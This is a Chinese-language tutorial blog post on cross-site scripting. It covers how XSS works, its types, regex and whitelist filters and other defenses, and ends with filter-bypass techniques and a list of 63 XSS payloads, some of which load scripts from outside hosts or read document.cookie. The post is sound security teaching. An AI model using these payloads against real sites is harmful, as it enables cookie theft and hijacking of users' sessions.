XSS注入(跨站脚本攻击)原理与实践

1、XSS是什么

跨网站指令码(Cross-site scripting,因为CSS在网页设计领域已经被广泛指层叠样式表(Cascading Style Sheets),所以将Cross改以发音相近的X做为缩写,故简称为XSS),是一种最普遍的网站应用程式的安全漏洞攻击,允许恶意使用者将程式码注入到网页上,其他使用者在观看网页时就会受到影响。这类攻击通常包含了HTML以及使用者端脚本语言。

XSS攻击通常发生在用户输入数据并被展示在网页上时,常见于贴吧,留言板,评论,反馈等系统。如果应用程序没有对用户提交的内容进行充分的过滤和验证,恶意脚本可能会被注入并执行。攻击者可能会利用XSS漏洞执行各种操作,如窃取用户cookie、获取个人信息、挂马(在用户计算机上植入恶意软件)、键盘记录等。

PS: XSS常与CSRF(跨站请求伪造)一块使用,即XSS+CSRF组合拳。

2、XSS的原理

HTML是一种超文本标记语言,通过将一些字符特殊地对待来区别文本和标记,例如,小于符号(<)被看作是HTML标签的开始,之间的字符是页面的标题等等。当动态页面中插入的内容含有这些特殊字符(如<script)时,用户浏览器会将其误认为是插入了HTML标签,当这些HTML标签引入了一段JavaScript脚本时,这些脚本程序就将会在用户浏览器中执行。所以,当这些特殊字符不能被动态页面检查或检查出现失误时,就将会产生XSS漏洞。

在这里插入图片描述

假如有下面一个textbox,用来展示用户名称,其中userInput是用户输入的数据

<input type="text" name="userName" value="userInput">

因为userInput来自用户的输入,如果用户不是输入用户名称,而是输入 "/><!- 那么就会变成

<input type="text" name="userName" value=""/><script>alert(123)</script><!- ">

这样嵌入的JavaScript代码将会被执行, 而攻击的威力,则取决于用户输入了什么样的脚本。

3、XSS分类

1.持久型(危害很大)

最直接的危害类型,跨站代码存储在服务器(数据库)。
在这里插入图片描述

2.反射型

攻击者将构造好的payload注入,提交信息给服务器之后再次返回给浏览器端时,并被浏览器误解析执行,以更改当前网页上的某些信息(如链接),或者使浏览器执行某些脚本。常见于搜索框等地方。

反射型XSS是用户点击黑客发的链接触发,并且只执行一次不会对服务器有影响,黑客为了能让用户更加相信链接,甚至还可以使用十六进制的编码。

例如,有一个网站的搜索框,我们发现搜索后有参数:
在这里插入图片描述
注入XSS代码,发现注入成功,有弹框:
在这里插入图片描述
其他用户打开该页面,出现弹窗,即xss注入成功。

3.DOM型

是基于html的dom文档来说的,攻击者通过注入JavaScript的脚本,利用相应的函数修改网页的DOM结构,进而修改网页的某些信息,本质上也是一种反射性xss。在整个攻击过程中,服务器响应的页面并没有发生变化,引起客户端脚本执行结果差异的原因是对本地DOM的恶意篡改利用。

DOM 型 XSS 跟前两种 XSS 的区别:DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞,而其他两种 XSS 都属于服务端的安全漏洞

例如,有道词典:
在这里插入图片描述

反射性和DOM型两者的攻击方式没有什么不同,都是通过电子邮件等方式发送这个含有我们构造的payload的URL给目标用户,当目标用户访可该链接时,服务器接收该目标用户的请求并进行处理,然后服务器把带有XSS代码的数据发送给目标用户的测览器,浏览器解析这段帯有XSS代码的恶意脚本后,就会触发XSS漏洞。

4、攻击方式

1、身份盗用:Cookie 是用户对于特定网站的身份验证标志,XSS 可以盗取到用户的 Cookie,从而利用该 Cookie 盗取用户对该网站的操作权限。如果一个网站管理员用户 Cookie 被窃取,将会对网站引发巨大的危害。

2、网站挂马:跨站时利用 IFrame 嵌入隐藏的恶意网站或者将被攻击者定向到恶意网站上,或者弹出恶意网站窗口等方式都可以进行挂马攻击

3、利用iframe、frame、XMLHttpRequest或Flash等方式,以(被攻击)用户的身份执行一些管理动作,或执行一些一般的如发微博、加好友、发私信等操作。

4、劫持用户 Web 行为:一些高级的 XSS 攻击甚至可以劫持用户的 Web 行为,监视用户的浏览历史,发送与接收的数据等等。

5、在访问量极大的一些页面上的XSS可以攻击一些小型网站,实现DDoS(分布式拒绝服务攻击)攻击的效果。

6、XSS 蠕虫:XSS 蠕虫可以用来打广告、刷流量、挂马、恶作剧、破坏网上数据、实施 DDoS 攻击等。

5、防御策略

1、输入验证:XSS之所以会发生, 是因为用户输入的数据变成了代码。 所以我们需要对用户输入的数据进行HTML Encode处理。确保它符合预期的格式。例如,如果输入是预期为数字,则验证输入是否确实为数字。

 private static String stripXSS(String value) {  
        if (value != null) {  
            value = value.replaceAll("", "");  
            Pattern scriptPattern = Pattern.compile("<script>(.*?)</script>",  
                    Pattern.CASE_INSENSITIVE);  
            value = scriptPattern.matcher(value).replaceAll("");  
            scriptPattern = Pattern.compile("src[\r\n]*=[\r\n]*\\\'(.*?)\\\'",  
                    Pattern.CASE_INSENSITIVE | Pattern.MULTILINE  
                            | Pattern.DOTALL);  
            value = scriptPattern.matcher(value).replaceAll("");  
            scriptPattern = Pattern.compile("src[\r\n]*=[\r\n]*\\\"(.*?)\\\"",  
                    Pattern.CASE_INSENSITIVE | Pattern.MULTILINE  
                            | Pattern.DOTALL);  
            value = scriptPattern.matcher(value).replaceAll("");  
            scriptPattern = Pattern.compile("</script>",  
                    Pattern.CASE_INSENSITIVE);  
            value = scriptPattern.matcher(value).replaceAll("");  
            scriptPattern = Pattern.compile("<script(.*?)>",  
                    Pattern.CASE_INSENSITIVE | Pattern.MULTILINE  
                            | Pattern.DOTALL);  
            value = scriptPattern.matcher(value).replaceAll("");  
            scriptPattern = Pattern.compile("eval\\((.*?)\\)",  
                    Pattern.CASE_INSENSITIVE | Pattern.MULTILINE  
                            | Pattern.DOTALL);  
            value = scriptPattern.matcher(value).replaceAll("");  
            scriptPattern = Pattern.compile("expression\\((.*?)\\)",  
                    Pattern.CASE_INSENSITIVE | Pattern.MULTILINE  
                            | Pattern.DOTALL);  
            value = scriptPattern.matcher(value).replaceAll("");  
            scriptPattern = Pattern.compile("javascript:",  
                    Pattern.CASE_INSENSITIVE);  
            value = scriptPattern.matcher(value).replaceAll("");  
            scriptPattern = Pattern.compile("vbscript:",  
                    Pattern.CASE_INSENSITIVE);  
            value = scriptPattern.matcher(value).replaceAll("");  
            scriptPattern = Pattern.compile("onload(.*?)=",  
                    Pattern.CASE_INSENSITIVE | Pattern.MULTILINE  
                            | Pattern.DOTALL);  
            value = scriptPattern.matcher(value).replaceAll("");  
            scriptPattern = Pattern.compile("<iframe>(.*?)</iframe>",  
                    Pattern.CASE_INSENSITIVE);  
            value = scriptPattern.matcher(value).replaceAll("");  
            scriptPattern = Pattern.compile("</iframe>",  
                    Pattern.CASE_INSENSITIVE);  
            value = scriptPattern.matcher(value).replaceAll("");  
            scriptPattern = Pattern.compile("<iframe(.*?)>",  
                    Pattern.CASE_INSENSITIVE | Pattern.MULTILINE  
                            | Pattern.DOTALL);  
            value = scriptPattern.matcher(value).replaceAll("");  
        }  
        return value;  
    }  

2、输出转义:在将数据输出到HTML页面之前,对所有的输出进行转义处理。这通常涉及将特殊字符如<, >, &, " (双引号), ', 和/转换成对应的HTML实体。
3、使用内容安全策略(CSP):内容安全策略(CSP)是一个额外的安全层,它限制了可以加载的资源。CSP通过设置HTTP头部实施,它可以阻止跨站脚本攻击。
4、使用低特权账号和权限分离策略,避免敏感操作的恶意执行和篡改页面内容。
5、及时更新补丁和升级软件版本,以消除可能存在的安全漏洞。
6、对于发生XSS攻击的网站,及时清除和恢复受影响的数据,同时加强监控和日志审计,快速发现异常情况并进行处理。
7、富文本由于需要完整的HTML,因此不太容易过滤,一般是按照白名单进行保留部分标签和属性来进行过滤,除了允许的标签和属性,其他的全部不允许(也有黑名单的方式,但是由于html复杂效果比较差,原理就是正则替换)
其实可以用别人写好的XSS组件就叫做xss,直接安装引用 npm install xss

var xssFilter = function(html){
    if(!html) return '';
    var xss = require('xss');
    var ret = xss(html, {
        whiteList:{
            img: ['src'],
            a: ['href'],
            font: ['size', 'color']
        },
        onIgnoreTag: function(){
            return '';
        }
    });
    console.log(html, ret);
    return ret;
};

6、注入代码实践

测试方式:

工具扫描: APPscan、AWVS

手动测试:使用手工检测Web应用程序是否存在XSS漏洞时,最重要的是考虑哪里有输入,输入的数据在什么地方输出。在进行手动检测XSS时,人毕竟不像软件那样不知疲惫,所以一定要选择有特殊意义的字符,这样可以快速测试是否存在XSS。

以下为部分手动注入脚本:

(1)普通的XSS JavaScript注入。

<SCRIPT SRC=http://3w.org/XSS/xss.js></SCRIPT>

(2)事件处理,指定的图片地址不存在,即一定会发生错误,这时执行onerror里面的代码。

<img src='k.7' onerror='alert("hello,gaga!")'> 

(3)大小写绕过
这个绕过方式的出现是因为网站仅仅只过滤了

<sCript>alert("hey!")</scRipt>

(4)过滤后返回语句再次构成攻击语句,制造一种巧合,让过滤完script标签后的语句中还有script标签。

 <sCri<script>pt>alert("hey!")</scRi</script>pt>

(5) 编码脚本代码绕过关键字过滤,eval()会将编码过的语句解码后再执行, 同理还可以使用诸如url编码、Ascii码、base64、十六进制、八进制绕过等。

 <script>eval(\u0061\u006c\u0065\u0072\u0074(1))</script>

(6) 字符拼接利用top

 <script>top["al"+"ert"](`xss`);</script>

常见payload

1. <script>alert('hello,gaga!');</script> //经典语句,哈哈!
2. >"'><img src="javascript.:alert('XSS')">
3. >"'><script>alert('XSS')</script>
4. <table background='javascript.:alert(([code])'></table>
5. <object type=text/html data='javascript.:alert(([code]);'></object>
6. "+alert('XSS')+"
7. '><script>alert(document.cookie)</script>
8. ='><script>alert(document.cookie)</script>
9. <script>alert(document.cookie)</script>
10. <script>alert(vulnerable)</script>
11. <s&#99;ript>alert('XSS')</script>
12. <img src="javas&#99;ript:alert('XSS')">
13. %0a%0a<script>alert(\"Vulnerable\")</script>.jsp
14. %3c/a%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
15. %3c/title%3e%3cscript%3ealert(%22xss%22)%3c/script%3e
16. %3cscript%3ealert(%22xss%22)%3c/script%3e/index.html
17. <script>alert('Vulnerable')</script>
18. a.jsp/<script>alert('Vulnerable')</script>
19. "><script>alert('Vulnerable')</script>
20. <IMG SRC="javascript.:alert('XSS');">
21. <IMG src="/javascript.:alert"('XSS')>
22. <IMG src="/JaVaScRiPt.:alert"('XSS')>
23. <IMG src="/JaVaScRiPt.:alert"(&quot;XSS&quot;)>
24. <IMG SRC="jav&#x09;ascript.:alert('XSS');">
25. <IMG SRC="jav&#x0A;ascript.:alert('XSS');">
26. <IMG SRC="jav&#x0D;ascript.:alert('XSS');">
27. "<IMG src="/java"\0script.:alert(\"XSS\")>";'>out
28. <IMG SRC=" javascript.:alert('XSS');">
29. <SCRIPT>a=/XSS/alert(a.source)</SCRIPT>
30. <BODY BACKGROUND="javascript.:alert('XSS')">
31. <BODY ONLOAD=alert('XSS')>
32. <IMG DYNSRC="javascript.:alert('XSS')">
33. <IMG LOWSRC="javascript.:alert('XSS')">
34. <BGSOUND SRC="javascript.:alert('XSS');">
35. <br size="&{alert('XSS')}">
36. <LAYER SRC="http://xss.ha.ckers.org/a.js"></layer>
37. <LINK REL="stylesheet"HREF="javascript.:alert('XSS');">
38. <IMG SRC='vbscript.:msgbox("XSS")'>
39. <META. HTTP-EQUIV="refresh"CONTENT="0;url=javascript.:alert('XSS');">
40. <IFRAME. src="/javascript.:alert"('XSS')></IFRAME>
41. <FRAMESET><FRAME. src="/javascript.:alert"('XSS')></FRAME></FRAMESET>
42. <TABLE BACKGROUND="javascript.:alert('XSS')">
43. <DIV STYLE="background-image: url(javascript.:alert('XSS'))">
44. <DIV STYLE="behaviour: url('http://www.how-to-hack.org/exploit.html&#39;);">
45. <DIV STYLE="width: expression(alert('XSS'));">
46. <STYLE>@im\port'\ja\vasc\ript:alert("XSS")';</STYLE>
47. <IMG STYLE='xss:expre\ssion(alert("XSS"))'>
48. <STYLE. TYPE="text/javascript">alert('XSS');</STYLE>
49. <STYLE. TYPE="text/css">.XSS{background-image:url("javascript.:alert('XSS')");}</STYLE><A CLASS=XSS></A>
50. <STYLE. type="text/css">BODY{background:url("javascript.:alert('XSS')")}</STYLE>
51. <BASE HREF="javascript.:alert('XSS');//">
52. getURL("javascript.:alert('XSS')")
53. a="get";b="URL";c="javascript.:";d="alert('XSS');";eval(a+b+c+d);
54. <XML SRC="javascript.:alert('XSS');">
55. "> <BODY NLOAD="a();"><SCRIPT>function a(){alert('XSS');}</SCRIPT><"
56. <SCRIPT. SRC="http://xss.ha.ckers.org/xss.jpg"></SCRIPT>
57. <IMG SRC="javascript.:alert('XSS')"
58. <SCRIPT. a=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
59. <SCRIPT.=">"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
60. <SCRIPT. a=">"''SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
61. <SCRIPT."a='>'"SRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
62. <SCRIPT>document.write("<SCRI");</SCRIPT>PTSRC="http://xss.ha.ckers.org/a.js"></SCRIPT>
63. <A HREF=http://www.gohttp://www.google.com/ogle.com/>link</A>

相关链接:

SQL注入原理与实践

  • 29
    点赞
  • 27
    收藏
    觉得还不错? 一键收藏
  • 2
    评论
评论 2
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值